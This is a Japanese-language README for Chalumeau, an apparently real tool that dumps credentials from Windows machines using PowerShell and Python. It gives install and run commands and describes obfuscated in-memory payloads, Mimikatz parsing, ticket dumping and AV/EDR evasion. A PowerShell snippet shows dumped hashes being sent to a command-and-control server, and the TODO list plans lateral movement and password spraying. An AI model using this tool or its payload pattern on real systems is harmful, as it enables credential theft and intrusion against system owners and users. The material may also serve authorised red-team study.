Chalumeau

Chalumeauは、PowerShellとPythonをベースにした自動化、拡張可能、カスタマイズ可能な認証情報ダンプツールです。

主な機能

• 独自のペイロードを作成
• メモリ上での実行
• パスワードリストの抽出
• ダッシュボードレポート / Webインターフェース
• Mimikatzの解析
• チケットのダンプ

スクリーンショット

既知の問題

• Mimikatzのdcsync解析（修正作業中）
• アンチウイルスやEDRの回避：ペイロードを維持する必要があります

TODO

• 暗号化通信
• 自動化されたラテラルムーブメント
• 自動化されたパスワードスプレー攻撃
• 自動化されたハッシュクラッキング

使用方法

git clone https://github.com/cyberstruggle/chalumeau.git
cd chalumeau/
chmod +x install.sh
sudo ./install.sh

# Run
chmod +x start.sh

sudo ./start.sh

独自のペイロードを作成する

認証情報ダンプ用の独自のPowerShellペイロードを難読化し、インポートなしでChalumeauの関数呼び出しを使用します。Chalumeauは暗号化を行い、C2と通信してダンプした認証情報を送信します。ファイルを chalumeau-power/payloads に保存するだけです。

• ChalumeauSendCredentials 関数の使用
  • ChalumeauSendCredentials
    • Secret = ダンプされたハッシュまたは平文パスワード（文字列）
    • Username = ダンプされた認証情報のユーザー名またはID（文字列）
    • IsClearText = 平文の場合は1、そうでない場合は0（整数）
    • Source = ソースペイロードを指定（例："Mimikatz Hash"）（文字列）

# Custom Payload Example
# $DumpedHashes is array of dumped hashes from the local machine
foreach ($hash in $DumpedHashes){
    ChalumeauSendCredentials -Secret $hash.secret -Username $hash.user -IsClearText 0 -source "My custom payload"
} 

クレジット

• wazehell 作者
• Invoke-Obfuscation Daniel Bohannon
• Invoke-Mimikatz PowerSploit
• Get-PassHashes nishang
• Chalumeau ロゴ Aureliano
• Invoke-MassMimikatz PowerTools